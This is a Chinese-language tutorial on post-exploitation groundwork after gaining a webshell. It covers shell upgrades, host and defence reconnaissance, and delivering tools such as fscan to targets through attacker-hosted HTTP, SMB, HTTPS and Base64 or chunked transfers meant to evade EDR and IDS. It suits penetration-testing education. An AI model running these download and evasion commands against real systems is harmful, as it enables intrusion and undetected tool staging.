原因

当我们成功获取 Web 权限(如 Webshell 或基础的反弹 Shell)后,通常处于一个受限且脆弱的环境中。为了进行后续的深度内网渗透(如提权、横向移动、数据资产收集等),必须进行一系列初期准备工作。

其核心目的在于:探明当前系统环境、升级并稳定控制通道、绕过本地防御限制、实现关键渗透工具的落地以及内网流量代理的搭建

核心操作步骤

交互式 Shell 升级

初始获取的 Shell 往往功能受限(如无法使用交互式命令、无法自动补全、容易意外中断),需要先提升交互体验。

  • Python PTY 升级python3 -c 'import pty; pty.spawn("/bin/bash")'
  • Socat 升级:获取完整的 TTY 终端。

基础环境与资产信息探测

在盲目上传扫描工具前,先利用系统自带命令摸清底细。

  • 身份与权限识别whoami / id,判断当前用户权限及所在用户组。
  • 系统与内核信息uname -a / cat /etc/os-release / systeminfo(用于评估内核漏洞及提权路线)。
  • 网络拓扑与路由ip a / ifconfig / arp -a / netstat -ano(探测是否存在双网卡、内网网段、以及当前活动的网络连接)。
  • 容器化/云原生环境探测:检查根目录下是否存在 /.dockerenv,或查看是否存在 /var/run/secrets/kubernetes.io/ 服务凭据目录,判断是否需要先进行 Docker/K8s 逃逸。

防御机制与安全防护探测

避免刚上传工具就被杀软拦截或触发告警。

  • 进程分析:通过 ps -eftasklist 梳理运行中的进程,比对常见的杀毒软件或 EDR 终端防护。
  • 出入站策略:检查 iptables -L 或 Windows 防火墙规则,判断目标机器是否允许出站连接(决定了能否使用反向代理或直接下载外网工具)。

文件传输与工具落地

建立双向传输通道,用于上传扫描器(如 fscan)、提权 Exp,以及下载目标的敏感配置文件。

  • Linux 环境:利用 wgetcurlnc (Netcat),或借助 python -m http.server
  • Windows 环境:利用 certutilpowershell (Invoke-WebRequest) 等自带组件。
  • 无落地技巧:对于限制严格的环境,可尝试将工具转换为 Base64 编码,复制粘贴后在目标机解码,或者利用内存加载。

搭建上传机

在后渗透阶段,获取初始权限只是突破的第一步,而如何稳定、高效地将后续工具(如扫描器、提权脚本、代理工具)下发到目标机器,则是决定渗透深度的关键。搭建一个灵活的“上传机”(文件分发服务器)是每一位安全研究员的必备技能。

以下将针对不同场景和环境,详细论述几种主流的搭建方法及其在实战中的逻辑运用。

利用 Python 快速构建 Web 服务

在大多数 Linux 攻击机环境中,Python 是最易获取且性能稳定的工具。它的逻辑非常直接:在存放工具的当前目录下开启一个监听端口,将该目录瞬间转变为一个 Web 根目录。

实现方式与差异: 如果你的环境是 Python 3(现代系统的主流),使用 http.server 模块;如果是老旧环境或特定的镜像,则使用 SimpleHTTPServer

# Python 3 启动命令(推荐使用 80 或 443 端口以绕过某些防火墙限制)
python3 -m http.server 80

# Python 2 启动命令
python -m SimpleHTTPServer 80

实战案例: 假设你已经在攻击机(IP: 192.168.1.10)的 tools 文件夹下准备好了 fscan。启动服务后,你只需在目标的 Webshell 或终端中执行一行命令即可完成下载。对于 Linux 目标,可以使用 wget http://192.168.1.10/fscan -O /tmp/fscan;对于 Windows 目标,则可以使用 PowerShell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri http://192.168.1.10/fscan.exe -OutFile C:\Windows\Temp\fscan.exe"

Impacket SMB 共享

在面对内网中的 Windows 主机时,传统的 HTTP 下载容易被 EDR(终端检测与响应)系统监控到文件落地。此时,利用 SMB 协议进行“远程映射”是一种更高明的手段。

核心逻辑: 通过 Impacket 工具包中的 smbserver.py,你可以在攻击机上伪造一个无需身份验证的 SMB 共享目录。Windows 目标机可以像访问本地磁盘一样访问你的共享文件夹。

# 在攻击机上启动 SMB 共享,将当前目录映射为名为 "share" 的共享名
impacket-smbserver share ./ -smb2support

代码块补充与优势: 这种方式最强大的地方在于无需落地执行。在目标 Windows 机器上,你可以直接运行: \\192.168.1.10\share\fscan.exe -h 172.16.1.0/24 此时,fscan.exe 是在内存中运行的,或者通过网络流加载,很大程度上规避了某些杀软对“新创建可执行文件”的静态扫描。

多样化环境适配:PHP 与 Ruby 的补充

在某些特定的容器化环境或受限的开发服务器中,可能没有 Python,但可能预装了 PHP 或 Ruby。利用这些语言的内置开发服务器,同样可以达到目的。

  • PHP 环境: php -S 0.0.0.0:80。这种方式不仅能提供静态文件下载,如果你在目录下放置了一个简单的 upload.php,甚至可以实现从目标机向攻击机“回传”敏感文件的功能。
  • Ruby 环境: ruby -run -e httpd . -p 80

流量隐蔽与防守绕过

在高度安全的内网环境中,明文的 HTTP 传输可能会被 IDS(入侵检测系统)拦截,因为 fscanmimikatz 等工具的特征码非常明显。

逻辑演进:

  1. SSL 加密: 可以使用 Caddy 或是自签名证书的 Nginx 快速搭建 HTTPS 服务,使传输过程加密,让流量审计设备无法看到传输的具体内容。
  2. Base64 编码传输: 如果文件体积很小(如提权脚本),可以先在本地用 base64 命令将工具编码为字符串,直接通过 Webshell 的粘贴功能传到目标机,再在目标机上解码还原。这种方法完全不经过任何网络协议下载,极其隐蔽。

自建HTTP隧道

当内网的流量审计设备(IDS/IPS)在拦截明文 HTTP 流量中的渗透工具(如 fscan、提权 exp 的特征码)时,我们可以利用 Python 快速搭建一个基于 SSL 加密的 HTTPS 服务器。即使是自签名的证书,也能有效对抗大多数基于流量特征的深度包检测(DPI)。

生成自签名证书

在你的 Linux 攻击机上执行以下命令,快速生成一个有效期为 365 天的证书文件:

openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
用 Python 启动 HTTPS 服务

将生成的 server.pem 放在你要传输的工具目录下,然后新建一个名为 https_server.py 的脚本,写入以下代码:

import http.server
import ssl

server_address = ('0.0.0.0', 443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
# 加载自签名证书
httpd.socket = ssl.wrap_socket(httpd.socket,
                               server_side=True,
                               certfile='server.pem',
                               ssl_version=ssl.PROTOCOL_TLS)
print("HTTPS Server running on port 443...")
httpd.serve_forever()

运行这个脚本后,目标机就可以通过 wget --no-check-certificate https://你的IP/工具名 来安全地拉取文件了。全程加密,流量侧只能看到一团乱码。

Base64 文本传输

如果目标服务器出站规则极其严格,甚至连 443 和 80 端口的出网都被防火墙阻断,常规的下载手段将全部失效。此时,我们可以利用 Webshell 或终端的“文本交互”能力,通过 Base64 编码实现物理隔离级别的传输。

攻击侧(本地编码): 在你的本地机器上,将需要上传的小型脚本或工具编码为一长串纯文本字符。

# Linux 本地编码命令
base64 exploit.py > payload.txt

目标侧(解码落地):payload.txt 里的那串乱码直接通过剪贴板复制,粘贴到目标机的终端中进行解码还原。这种方式没有任何外部网络连接产生。

# 目标为 Linux 的还原命令
echo "这里粘贴你复制的超长Base64字符串" | base64 -d > /tmp/exploit.py

# 目标为 Windows PowerShell 的还原命令
$b64 = "这里粘贴字符串"; [IO.File]::WriteAllBytes("C:\Windows\Temp\exp.exe", [Convert]::FromBase64String($b64))

文件分块与组装

当需要上传大体积文件(如大型字典、重量级代理工具)时,不仅容易受限于 Webshell 的单文件大小限制(通常为 2M 或 8M),其产生的持续大流量也极易被 IDS/IPS 识别并切断连接。采用“化整为零”的策略,将大文件切割成多个小碎片分批上传,落地后再进行拼装,是极其有效的对抗手段。

核心逻辑: 在攻击机上将目标文件按指定大小切割,分批次缓慢传送到目标机的临时目录下,最后利用目标系统自带的命令将碎片按顺序拼接,并校验完整性。

攻击侧(本地切割): 在 Linux 攻击机上,利用自带的 split 命令进行二进制分割。

# 将 fscan_large.exe 按每个 2MB 的大小进行切割 
# -b 2M 指定大小,-d 使用数字后缀,-a 2 指定后缀长度为两位 
# 切割后的文件名为 part_00, part_01, part_02 ... 
 
split -b 2M -d -a 2 fscan_large.exe part_

目标侧(解码与组装落地): 将切割好的小文件(part_00, part_01 等)逐个上传至目标机后,利用系统自带命令进行无缝拼接。

# 目标为Linux
cat part_* > fscan_large.exe  # 按顺序合并碎片并恢复为原始文件

chmod +x fscan_large.exe  # 赋予执行权限

# 目标为windows

copy /b part_* fscan_large.exe  # 在存放碎片的目录下执行,/b 表示按二进制流合并